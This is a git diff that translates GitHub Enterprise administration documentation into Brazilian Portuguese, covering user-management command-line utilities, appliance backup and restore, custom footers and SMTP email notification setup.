+Para verificar a versão mais recente do {% data variables.product.prodname_enterprise %}, use o switch `-i`.
 
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-update-check'
 ```
 
-## User management
+## Gerenciamento de usuários
 
 ### ghe-license-usage
 
-This utility exports a list of the installation's users in JSON format. If your instance is connected to {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} uses this information for reporting licensing information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+Este utilitário exporta uma lista de usuários da instalação em formato JSON. Se sua instância estiver conectada ao {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} usa essa informação para reportar informações de licenciamento ao {% data variables.product.prodname_ghe_cloud %}. Para obter mais informações, consulte "[Conectando a sua conta corporativa a {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)".
 
-By default, the list of users in the resulting JSON file is encrypted. Use the `-h` flag for more options.
+Por padrão, a lista de usuários no arquivo JSON resultante é criptografada. Use o sinalizador `-h` para ver mais opções.
 
 ```shell
 ghe-license-usage
@@ -830,7 +831,7 @@ ghe-license-usage
 
 ### ghe-org-membership-update
 
-This utility will enforce the default organization membership visibility setting on all members in your instance. For more information, see "[Configuring visibility for organization membership](/enterprise/{{ currentVersion }}/admin/guides/user-management/configuring-visibility-for-organization-membership)." Setting options are `public` or `private`.
+Este utilitário aplicará a configuração padrão de visibilidade da associação da organização a todos os integrantes da sua instância. Para obter mais informações, consulte "[Configurar a visibilidade da associação à organização](/enterprise/{{ currentVersion }}/admin/guides/user-management/configuring-visibility-for-organization-membership)". As opções de configuração são `públicas` ou `privadas`.
 
 ```shell
 ghe-org-membership-update --visibility=<em>SETTING</em>
@@ -838,7 +839,7 @@ ghe-org-membership-update --visibility=<em>SETTING</em>
 
 ### ghe-user-csv
 
-This utility exports a list of all the users in the installation into CSV format. The CSV file includes the email address, which type of user they are (e.g., admin, user), how many repositories they have, how many SSH keys, how many organization memberships, last logged IP address, etc. Use the `-h` flag for more options.
+Este utilitário exporta uma lista de todos os usuários na instalação em formato CSV. O arquivo CSV inclui o endereço de e-mail, o tipo de usuário (por exemplo, administrador), a quantidade de repositórios, chaves SSH e associações os usuários têm na organização, o endereço IP mais recente e outras informações. Use o sinalizador `-h` para ver mais opções.
 
 ```shell
 ghe-user-csv -o > users.csv
@@ -846,7 +847,7 @@ ghe-user-csv -o > users.csv
 
 ### ghe-user-demote
 
-This utility demotes the specified user from admin status to that of a regular user. We recommend using the web UI to perform this action, but provide this utility in case the `ghe-user-promote` utility is run in error and you need to demote a user again from the CLI.
+Este utilitário rebaixa o usuário especificado do status de administrador para o status de usuário regular. É recomendável usar a IU da web para executar esta ação, mas informe esse utilitário em caso de erro na execução do utilitário `ghe-user-promotion` se você precisar rebaixar um usuário novamente da CLI.
 
 ```shell
 ghe-user-demote <em>some-user-name</em>
@@ -854,7 +855,7 @@ ghe-user-demote <em>some-user-name</em>
 
 ### ghe-user-promote
 
-This utility promotes the specified user account to a site administrator.
+Este utilitário promove a conta de usuário especificada a administrador do site.
 
 ```shell
 ghe-user-promote <em>some-user-name</em>
@@ -862,7 +863,7 @@ ghe-user-promote <em>some-user-name</em>
 
 ### ghe-user-suspend
 
-This utility suspends the specified user, preventing them from logging in, pushing, or pulling from your repositories.
+Este utilitário suspende o usuário especificado, impedindo-o de fazer login, push ou pull nos seus repositórios.
 
 ```shell
 ghe-user-suspend <em>some-user-name</em>
@@ -870,7 +871,7 @@ ghe-user-suspend <em>some-user-name</em>
 
 ### ghe-user-unsuspend
 
-This utility unsuspends the specified user, granting them access to login, push, and pull from your repositories.
+Este utilitário cancela a suspensão do usuário especificado, liberando o acesso para fazer login, push ou pull nos seus repositórios.
 
 ```shell
 ghe-user-unsuspend <em>some-user-name</em>
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
index 7a347ea3ce..dca3940ae1 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring backups on your appliance
-shortTitle: Configuring backups
+title: Configurar backups no appliance
+shortTitle: Configuração de backups
 redirect_from:
   - /enterprise/admin/categories/backups-and-restores
   - /enterprise/admin/articles/backup-and-recovery
@@ -14,7 +14,7 @@ redirect_from:
   - /enterprise/admin/installation/configuring-backups-on-your-appliance
   - /enterprise/admin/configuration/configuring-backups-on-your-appliance
   - /admin/configuration/configuring-backups-on-your-appliance
-intro: 'As part of a disaster recovery plan, you can protect production data on {% data variables.product.product_location %} by configuring automated backups.'
+intro: 'Como parte de um plano de recuperação de desastre, é possível proteger os dados de produção na {% data variables.product.product_location %} configurando backups automatizados.'
 versions:
   ghes: '*'
 type: how_to
@@ -24,117 +24,118 @@ topics:
   - Fundamentals
   - Infrastructure
 ---
-## About {% data variables.product.prodname_enterprise_backup_utilities %}
 
-{% data variables.product.prodname_enterprise_backup_utilities %} is a backup system you install on a separate host, which takes backup snapshots of {% data variables.product.product_location %} at regular intervals over a secure SSH network connection. You can use a snapshot to restore an existing {% data variables.product.prodname_ghe_server %} instance to a previous state from the backup host.
+## Sobre o {% data variables.product.prodname_enterprise_backup_utilities %}
 
-Only data added since the last snapshot will transfer over the network and occupy additional physical storage space. To minimize performance impact, backups are performed online under the lowest CPU/IO priority. You do not need to schedule a maintenance window to perform a backup.
+O {% data variables.product.prodname_enterprise_backup_utilities %} é um sistema de backup a ser instalado em um host separado, que tira instantâneos de backup da {% data variables.product.product_location %} em intervalos regulares em uma conexão de rede SSH segura. É possível usar um instantâneo para voltar uma instância do {% data variables.product.prodname_ghe_server %} a um estado anterior do host de backup.
 
-For more detailed information on features, requirements, and advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme).
+Somente os dados adicionados desde o último instantâneo serão transferidos pela rede e ocuparão espaço adicional de armazenamento físico. Para minimizar o impacto no desempenho, os backups são feitos online com a menor prioridade de E/S de CPU. Não é necessário programar um período de manutenção para fazer backups.
 
-## Prerequisites
+Para obter informações mais detalhadas sobre recursos, requisitos e uso avançado, consulte o [README do {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
 
-To use {% data variables.product.prodname_enterprise_backup_utilities %}, you must have a Linux or Unix host system separate from {% data variables.product.product_location %}.
+## Pré-requisitos
 
-You can also integrate {% data variables.product.prodname_enterprise_backup_utilities %} into an existing environment for long-term permanent storage of critical data.
+Para usar o {% data variables.product.prodname_enterprise_backup_utilities %}, você deve ter um sistema host Linux ou Unix separado da {% data variables.product.product_location %}.
 
-We recommend that the backup host and {% data variables.product.product_location %} be geographically distant from each other. This ensures that backups are available for recovery in the event of a major disaster or network outage at the primary site.
+Também é possível integrar o {% data variables.product.prodname_enterprise_backup_utilities %} a um ambiente para fins de armazenamento permanente em longo prazo de dados essenciais.
 
-Physical storage requirements will vary based on Git repository disk usage and expected growth patterns:
+É recomendável que o host de backup e a {% data variables.product.product_location %} estejam geograficamente distantes. Essa medida garante que os backups estejam disponíveis para recuperação em casos de grandes desastres ou falhas de rede no site primário.
 
-| Hardware | Recommendation |
-| -------- | --------- |
-| **vCPUs**  | 2 |
-| **Memory** | 2 GB |
-| **Storage** | Five times the primary instance's allocated storage |
+Os requisitos de armazenamento físico variam com base no uso do disco do repositório Git e nos padrões de crescimento esperados:
 
-More resources may be required depending on your usage, such as user activity and selected integrations.
+| Hardware          | Recomendação                                              |
+| ----------------- | --------------------------------------------------------- |
+| **vCPUs**         | 2                                                         |
+| **Memória**       | 2 GB                                                      |
+| **Armazenamento** | Cinco vezes o armazenamento alocado da instância primária |
 
-## Installing {% data variables.product.prodname_enterprise_backup_utilities %}
+Podem ser necessários mais recursos dependendo do uso, como atividade do usuário e integrações selecionadas.
+
+## Instalar o {% data variables.product.prodname_enterprise_backup_utilities %}
 
 {% note %}
 
-**Note:** To ensure a recovered appliance is immediately available, perform backups targeting the primary instance even in a Geo-replication configuration.
+**Observação:** para garantir a disponibilidade imediata de um appliance recuperado, faça backups visando a instância principal, mesmo em uma configuração de replicação geográfica.
 
 {% endnote %}
 
-1. Download the latest [{% data variables.product.prodname_enterprise_backup_utilities %} release](https://github.com/github/backup-utils/releases) and extract the file with the `tar` command.
+1. Baixe a [versão mais recente do {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils/releases) e extraia o arquivo com o comando `tar`.
   ```shell
-  $ tar -xzvf /path/to/github-backup-utils-v<em>MAJOR.MINOR.PATCH</em>.tar.gz	  
+  $ tar -xzvf /path/to/github-backup-utils-v<em>MAJOR.MINOR.PATCH</em>.tar.gz     
   ```
-2. Copy the included `backup.config-example` file to `backup.config` and open in an editor.
-3. Set the `GHE_HOSTNAME` value to your primary {% data variables.product.prodname_ghe_server %} instance's hostname or IP address.
+2. Copie o arquivo `backup.config-example` para `backup.config` e abra em um editor.
+3. Defina o valor `GHE_HOSTNAME` para o nome de host ou endereço IP da instância primária do {% data variables.product.prodname_ghe_server %}.
 
   {% note %}
 
-  **Note:** If your {% data variables.product.product_location %} is deployed as a cluster or in a high availability configuration using a load balancer, the `GHE_HOSTNAME` can be the load balancer hostname, as long as it allows SSH access (on port 122) to {% data variables.product.product_location %}.
+  **Observação:** Se o seu {% data variables.product.product_location %} for implantado como um cluster ou em uma configuração de alta disponibilidade usando um balanceador de carga, o `GHE_HOSTNAME` poderá ser o nome de host do balanceador da carga, desde que permita o acesso SSH (na porta 122) a {% data variables.product.product_location %}.
 
   {% endnote %}
 
-4. Set the `GHE_DATA_DIR` value to the filesystem location where you want to store backup snapshots.
-5. Open your primary instance's settings page at `https://HOSTNAME/setup/settings` and add the backup host's SSH key to the list of authorized SSH keys. For more information, see [Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/).
-6. Verify SSH connectivity with {% data variables.product.product_location %} with the `ghe-host-check` command.
+4. Defina o valor `GHE_DATA_DIR` no local do arquivo do sistema onde você deseja arquivar os instantâneos de backup.
+5. Abra a página das configurações da instância primária em `https://HOSTNAME/setup/settings` e adicione a chave SSH do host de backup à lista de chaves SSH autorizadas. Para obter mais informações, consulte [Acessar o shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/).
+6. Verifique a conectividade SSH com a {% data variables.product.product_location %} usando o comando `ghe-host-check`.
   ```shell
-  $ bin/ghe-host-check		  
-  ```		  
-  7. To create an initial full backup, run the `ghe-backup` command.
+  $ bin/ghe-host-check        
+  ```
+  7. Para criar um backup completo inicial, execute o comando `ghe-backup`.
   ```shell
-  $ bin/ghe-backup		  
+  $ bin/ghe-backup        
   ```
 
-For more information on advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme).
+Para obter mais informações sobre uso avançado, consulte o [arquivo README do {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
 
-## Scheduling a backup
+## Programar um backup
 
-You can schedule regular backups on the backup host using the `cron(8)` command or a similar command scheduling service. The configured backup frequency will dictate the worst case recovery point objective (RPO) in your recovery plan. For example, if you have scheduled the backup to run every day at midnight, you could lose up to 24 hours of data in a disaster scenario. We recommend starting with an hourly backup schedule, guaranteeing a worst case maximum of one hour of data loss if the primary site data is destroyed.
+É possível programar backups regulares no host de backup com o comando `cron(8)` ou um serviço de agendamento semelhante. A frequência configurada determinará o objetivo do ponto de recuperação (RPO) nos piores cenários do seu plano de recuperação. Por exemplo, ao programar backups diários à meia-noite, você pode perder até 24 horas de dados em caso de desastre. É recomendável começar com backups a cada hora, garantindo a possibilidade de perdas menores (no máximo de uma hora) caso os dados primários do site sejam destruídos.
 
-If backup attempts overlap, the `ghe-backup` command will abort with an error message, indicating the existence of a simultaneous backup. If this occurs, we recommended decreasing the frequency of your scheduled backups. For more information, see the "Scheduling backups" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups).
+Se houver sobreposição de tentativas de backup, o comando `ghe-backup` será interrompido com uma mensagem de erro, informando a existência de um backup simultâneo. Nesse caso, é recomendável diminuir a frequência dos backups programados. Para obter mais informações, consulte a seção "Agendar backups" do [ arquivo README do {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#scheduling-backups).
 
-## Restoring a backup
+## Restaurar um backup
 
-In the event of prolonged outage or catastrophic event at the primary site, you can restore {% data variables.product.product_location %} by provisioning another {% data variables.product.prodname_enterprise %} appliance and performing a restore from the backup host. You must add the backup host's SSH key to the target {% data variables.product.prodname_enterprise %} appliance as an authorized SSH key before restoring an appliance.
+Em caso de interrupção prolongada ou evento catastrófico no site primário, é possível restaurar a {% data variables.product.product_location %} provisionando outro appliance do {% data variables.product.prodname_enterprise %} e executando uma restauração no host de backup. Antes de restaurar um appliance, você deve adicionar a chave SSH do host de backup ao appliance de destino do {% data variables.product.prodname_enterprise %} como chave SSH autorizada.
 
 {% ifversion ghes %}
 {% note %}
 
-**Note:** If {% data variables.product.product_location %} has {% data variables.product.prodname_actions %} enabled, you must first configure the {% data variables.product.prodname_actions %} external storage provider on the replacement appliance before running the `ghe-restore` command. For more information, see "[Backing up and restoring {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_actions %} enabled](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)."
+**Nota:** Se {% data variables.product.product_location %} tiver {% data variables.product.prodname_actions %} habilitado, você deverá primeiro configurar o provedor de armazenamento externo de {% data variables.product.prodname_actions %} no aplicativo de substituição antes de executar o comando `ghe-restore`. Para obter mais informações, consulte "[Backup e restauração de {% data variables.product.prodname_ghe_server %} com {% data variables.product.prodname_actions %} ativado](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)."
 
 {% endnote %}
 {% endif %}
 
 {% note %}
 
-**Note:** When performing backup restores to {% data variables.product.product_location %}, the same version supportability rules apply. You can only restore data from at most two feature releases behind.
+**Observação:** Ao executar backup para {% data variables.product.product_location %}, aplicam-se as mesmas regras de suporte de versão. Você só pode restaurar dados de no máximo duas versões do recursos para trás.
 
-For example, if you take a backup from GHES 3.0.x, you can restore it into a GHES 3.2.x instance. But, you cannot restore data from a backup of GHES 2.22.x onto 3.2.x, because that would be three jumps between versions (2.22 > 3.0 > 3.1 > 3.2). You would first need to restore onto a 3.1.x instance, and then upgrade to 3.2.x.
+Por exemplo, se você receber um backup do GHES 3.0.x, você poderá restaurá-lo em uma instância GHES 3.2.x. No entanto, você não poderá restaurar dados de um backup do GHES 2.22.x para 3.2., porque seriam três saltos entre as versões (2.22 > 3.0 > 3.1 > 3.2). Primeiro, você deverá restaurar em uma instância de 3.1.x e, em seguida, atualizar para 3.2.x.
 
 {% endnote %}
 
-To restore {% data variables.product.product_location %} from the last successful snapshot, use the `ghe-restore` command. You should see output similar to this:
+Para restaurar a {% data variables.product.product_location %} do instantâneo mais recente bem-sucedido, use o comando `ghe-restore`. Você verá um conteúdo semelhante a este:
 
 ```shell
 $ ghe-restore -c 169.154.1.1
-> Checking for leaked keys in the backup snapshot that is being restored ...
-> * No leaked keys found
-> Connect 169.154.1.1:122 OK (v2.9.0)
+> Verificando chaves vazadas no instantâneo do backup em restauração...
+> * Sem chavez vazadas
+> Conexão 169.154.1.1:122 OK (v2.9.0)
 
-> WARNING: All data on GitHub Enterprise appliance 169.154.1.1 (v2.9.0)
->          will be overwritten with data from snapshot 20170329T150710.
-> Please verify that this is the correct restore host before continuing.
-> Type 'yes' to continue: <em>yes</em>
+> AVISO: todos os dados no appliance GitHub Enterprise 169.154.1.1 (v2.9.0)
+>          serão substituídos por dados do instantâneo 20170329T150710.
+> Antes de prosseguir, confirme se o host de restauração está correto.
+> Digite 'sim' para continuar: <em>sim</em>
 
-> Starting restore of 169.154.1.1:122 from snapshot 20170329T150710
-# ...output truncated
-> Completed restore of 169.154.1.1:122 from snapshot 20170329T150710
-> Visit https://169.154.1.1/setup/settings to review appliance configuration.
+> Iniciando restauração de 169.154.1.1:122 a partir do instantâneo 20170329T150710
+# ...saída truncada
+> Restauração concluída de 169.154.1.1:122 a partir do instantâneo 20170329T150710
+> Acesse https://169.154.1.1/setup/settings para revisar a configuração do appliance.
 ```
 
 {% note %}
 
-**Note:** The network settings are excluded from the backup snapshot. You must manually configure the network on the target {% data variables.product.prodname_ghe_server %} appliance as required for your environment.
+**Observação:** as configurações de rede são excluídas do instantâneo de backup. Você deve configurar manualmente a rede no appliance de destino do {% data variables.product.prodname_ghe_server %} conforme o seu ambiente.
 
 {% endnote %}
 
-You can use these additional options with `ghe-restore` command:
-- The `-c` flag overwrites the settings, certificate, and license data on the target host even if it is already configured. Omit this flag if you are setting up a staging instance for testing purposes and you wish to retain the existing configuration on the target. For more information, see the "Using using backup and restore commands" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands).
-- The `-s` flag allows you to select a different backup snapshot.
+Você pode usar estas opções adicionais com o comando `ghe-restore`:
+- O sinalizador `-c` substitui as configurações, os certificados e os dados de licença no host de destino, mesmo que já configurado. Omita esse sinalizador se você estiver configurando uma instância de preparo para fins de teste e se quiser manter a configuração no destino. Para obter mais informações, consulte a seção "Usar comandos de backup e restauração" do [README do {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#using-the-backup-and-restore-commands).
+- O sinalizador `-s` permite selecionar outro instantâneo de backup.
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
index c334869985..07f8b6060d 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring custom footers
-intro: 'You can give users easy access to enterprise-specific links by adding custom footers to {% data variables.product.product_name %}.'
+title: Configurando rodapés personalizados
+intro: 'Você pode facilitar o acesso dos usuários aos links específicos da empresa, adicionando rodapés personalizados a {% data variables.product.product_name %}.'
 versions:
   ghec: '*'
   ghes: '>=3.4'
@@ -8,31 +8,29 @@ type: how_to
 topics:
   - Enterprise
   - Fundamentals
-shortTitle: Configure custom footers
+shortTitle: Configurar rodapés personalizados
 ---
-Enterprise owners can configure {% data variables.product.product_name %} to show custom footers with up to five additional links.
 
-![Custom footer](/assets/images/enterprise/custom-footer/octodemo-footer.png)
+Os proprietários de empresas podem configurar {% data variables.product.product_name %} para mostrar rodapés personalizados com até cinco links adicionais.
 
-The custom footer is displayed above the {% data variables.product.prodname_dotcom %} footer {% ifversion ghes or ghae %}to all users, on all pages of {% data variables.product.product_name %}{% else %}to all enterprise members and collaborators, on all repository and organization pages for repositories and organizations that belong to the enterprise{% endif %}.
+![Rodapé personalizado](/assets/images/enterprise/custom-footer/octodemo-footer.png)
 
-## Configuring custom footers for your enterprise
+O rodapé personalizado é exibido acima do rodapé de {% data variables.product.prodname_dotcom %} {% ifversion ghes or ghae %}para todos os usuários, em todas as páginas de {% data variables.product.product_name %}{% else %}para todos os membros e colaboradores da empresa, em todas as páginas do repositório e da organização para repositórios e organizações que pertencem à empresa{% endif %}.
+
+## Configurar rodapés personalizados para sua empresa
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 
-1. Under "Settings", click **Profile**.
+1. Em "Configurações", clique em **Perfil**.
 {%- ifversion ghec %}
-![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghec.png)
+![Configurações do perfil corporativo](/assets/images/enterprise/custom-footer/enterprise-profile-ghec.png)
 {%- else %}
-![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png)
+![Configurações do perfil corporativo](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png)
 {%- endif %}
 
-1. At the top of the Profile section, click **Custom footer**.
-![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png)
+1. Na parte superior da seção do perfil, clique em **Personalizar rodapé**. ![Seção de rodapé personalizada](/assets/images/enterprise/custom-footer/custom-footer-section.png)
 
-1. Add up to five links in the fields shown.
-![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png)
+1. Adicione até cinco links nos campos mostrados. ![Adicionar links de rodapé](/assets/images/enterprise/custom-footer/add-footer-links.png)
 
-1. Click **Update custom footer** to save the content and display the custom footer.
-![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png)
+1. Clique em **Atualizar o rodapé personalizado** para salvar o conteúdo e exibir o rodapé personalizado. ![Atualizar rodapé personalizado](/assets/images/enterprise/custom-footer/update-custom-footer.png)
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
index e0987ad337..522ab7bf3b 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring email for notifications
-intro: 'To make it easy for users to respond quickly to activity on {% data variables.product.product_name %}, you can configure {% data variables.product.product_location %} to send email notifications for issue, pull request, and commit comments.'
+title: Configurar notificações de e-mail
+intro: 'Para facilitar a resposta rápida dos usuários à atividade em {% data variables.product.product_name %}, você pode configurar {% data variables.product.product_location %} para enviar notificações por e-mail para problema, pull request e comentários do commit.'
 redirect_from:
   - /enterprise/admin/guides/installation/email-configuration
   - /enterprise/admin/articles/configuring-email
@@ -17,100 +17,85 @@ topics:
   - Fundamentals
   - Infrastructure
   - Notifications
-shortTitle: Configure email notifications
+shortTitle: Configurar notificações de e-mail
 ---
+
 {% ifversion ghae %}
-Enterprise owners can configure email for notifications.
+Os proprietários das empresas podem configurar e-mails para notificações.
 {% endif %}
-## Configuring SMTP for your enterprise
+## Configurar SMTP para sua empresa
 
 {% ifversion ghes %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-2. At the top of the page, click **Settings**.
-![Settings tab](/assets/images/enterprise/management-console/settings-tab.png)
-3. In the left sidebar, click **Email**.
-![Email tab](/assets/images/enterprise/management-console/email-sidebar.png)
-4. Select **Enable email**. This will enable both outbound and inbound email, however for inbound email to work you will also need to configure your DNS settings as described below in "[Configuring DNS and firewall
-settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)."
-![Enable outbound email](/assets/images/enterprise/management-console/enable-outbound-email.png)
-5. Type the settings for your SMTP server.
-      - In the **Server address** field, type the address of your SMTP server.
-      - In the **Port** field, type the port that your SMTP server uses to send email.
-      - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any.
-      - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server.
-      - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails.      
-6. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**.
-![Checkbox to discard emails addressed to the no-reply email address](/assets/images/enterprise/management-console/discard-noreply-emails.png)
-7. Under **Support**, choose a type of link to offer additional support to your users.
-    - **Email:** An internal email address.
-    - **URL:** A link to an internal support site. You must include either `http://` or `https://`.
-  ![Support email or URL](/assets/images/enterprise/management-console/support-email-url.png)
-8. [Test email delivery](#testing-email-delivery).
+2. Na parte superior da página, clique em **Settings** (Configurações). ![Guia Settings (Configurações)](/assets/images/enterprise/management-console/settings-tab.png)
+3. Na barra lateral esquerda, clique em **Email**. ![Guia E-mail](/assets/images/enterprise/management-console/email-sidebar.png)
+4. Selecione **Enable email** (Habilitar e-mail). Fazer isso vai habilitar os e-mails enviados (saída) e recebidos (entrada). No entanto, para que o recebimento de e-mails funcione, você terá que definir suas configurações de DNS conforme descrito em "[Configurar o DNS e o firewall para o recebimento de e-mails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)". ![Habilitar e-mail de saída](/assets/images/enterprise/management-console/enable-outbound-email.png)
+5. Digite as configurações para o seu servidor SMTP.
+      - No campo **Server address** (Endereço do servidor), digite o endereço do seu servidor SMTP.
+      - No campo **Port** (Porta), digite a porta que o servidor SMTP usa para enviar e-mails.
+      - No campo **Domain** (Domínio), digite o nome do domínio que o servidor SMTP enviará com resposta HELO, se houver.
+      - Selecione o menu suspenso **Autenticação** e escolha o tipo de criptografia usado pelo seu servidor SMTP.
+      - No campo **No-reply email address** (Endereço de e-mail no-reply), digite o endereço de e-mail para usar nos campos De e Para em todos os e-mails de notificação.
+6. Se você quiser descartar todos os e-mails recebidos destinados ao endereço no-reply, selecione **Discard email addressed to the no-reply email address** (Descartar e-mails recebidos no endereço no-reply). ![Caixa de seleção para descartar e-mails destinados ao endereço no-reply](/assets/images/enterprise/management-console/discard-noreply-emails.png)
+7. Em **Support** (Suporte), escolha um tipo de link para dar suporte adicional aos usuários.
+    - **Email:** endereço de e-mail interno.
+    - **URL:** link para um site interno de suporte. Você deve incluir `http://` ou `https://`. ![E-mail ou URL de suporte](/assets/images/enterprise/management-console/support-email-url.png)
+8. [Teste a entrega de e-mails](#testing-email-delivery).
 {% elsif ghae %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.email-tab %}
-2. Select **Enable email**.
-  !["Enable" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-enable-email-configure.png)
-3. Type the settings for your email server.
-    - In the **Server address** field, type the address of your SMTP server.
-    - In the **Port** field, type the port that your SMTP server uses to send email.
-    - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any.
-    - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server.
-    - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails.
-4. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**.
-  !["Discard" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-discard-email.png)
-5. Click **Test email settings**.
-  !["Test email settings" button for email settings configuration](/assets/images/enterprise/configuration/ae-test-email.png)
-6. Under "Send test email to," type the email address where you want to send a test email, then click **Send test email**.
-  !["Send test email" button for email settings configuration](/assets/images/enterprise/configuration/ae-send-test-email.png)
-7. Click **Save**.
-  !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png)
+2. Selecione **Enable email** (Habilitar e-mail). ![Caixa de seleção "Habilitar" para configurações de e-mail](/assets/images/enterprise/configuration/ae-enable-email-configure.png)
+3. Digite as configurações para o seu servidor de e-mail.
+    - No campo **Server address** (Endereço do servidor), digite o endereço do seu servidor SMTP.
+    - No campo **Port** (Porta), digite a porta que o servidor SMTP usa para enviar e-mails.
+    - No campo **Domain** (Domínio), digite o nome do domínio que o servidor SMTP enviará com resposta HELO, se houver.
+    - Selecione o menu suspenso **Autenticação** e escolha o tipo de criptografia usado pelo seu servidor SMTP.
+    - No campo **No-reply email address** (Endereço de e-mail no-reply), digite o endereço de e-mail para usar nos campos De e Para em todos os e-mails de notificação.
+4. Se você quiser descartar todos os e-mails recebidos destinados ao endereço no-reply, selecione **Discard email addressed to the no-reply email address** (Descartar e-mails recebidos no endereço no-reply). ![Caixa de seleção "Descartar" para configurações de e-mail](/assets/images/enterprise/configuration/ae-discard-email.png)
+5. Clique em **Configurações de e-mail de teste**. ![Botão "Configurações de e-mail de teste" para configurações de e-mail](/assets/images/enterprise/configuration/ae-test-email.png)
+6. Em "Enviar e-mail de teste para", digite o endereço de e-mail em que você deseja enviar um e-mail de teste e, em seguida, clique em **Enviar e-mail de teste**. ![Botão "Enviar e-mail de teste" para definição de configurações de e-mail](/assets/images/enterprise/configuration/ae-send-test-email.png)
+7. Clique em **Salvar**. ![Botão "Salvar" para configuração de contato de suporte do Enterprise](/assets/images/enterprise/configuration/ae-save.png)
 {% endif %}
 
 {% ifversion ghes %}
-## Testing email delivery
+## Testar a entrega de e-mails
 
-1. At the top of the **Email** section, click **Test email settings**.
-![Test email settings](/assets/images/enterprise/management-console/test-email.png)
-2. In the **Send test email to** field, type an address to send the test email to.
-![Test email address](/assets/images/enterprise/management-console/test-email-address.png)
-3. Click **Send test email**.
-![Send test email](/assets/images/enterprise/management-console/test-email-address-send.png)
+1. Na parte superior da seção **Email**, clique em **Test email settings** (Testar configurações de e-mail). ![Configurações de e-mail de teste](/assets/images/enterprise/management-console/test-email.png)
+2. No campo **Send test email to** (Enviar e-mail de teste para), digite um endereço que receberá o e-mail de teste. ![Endereço de e-mail de teste](/assets/images/enterprise/management-console/test-email-address.png)
+3. Clique em **Send test email** (Enviar e-mail de teste). ![Enviar e-mail de teste](/assets/images/enterprise/management-console/test-email-address-send.png)
 
   {% tip %}
 
-  **Tip:** If SMTP errors occur while sending a test email—such as an immediate delivery failure or an outgoing mail configuration error—you will see them in the Test email settings dialog box.
+  **Dica:** se ocorrerem erros de SMTP durante o envio de um e-mail de teste, como falhas de entrega imediatas ou erros de configuração de e-mail de saída, você os verá na caixa de diálogo Configurações de e-mail de teste.
 
   {% endtip %}
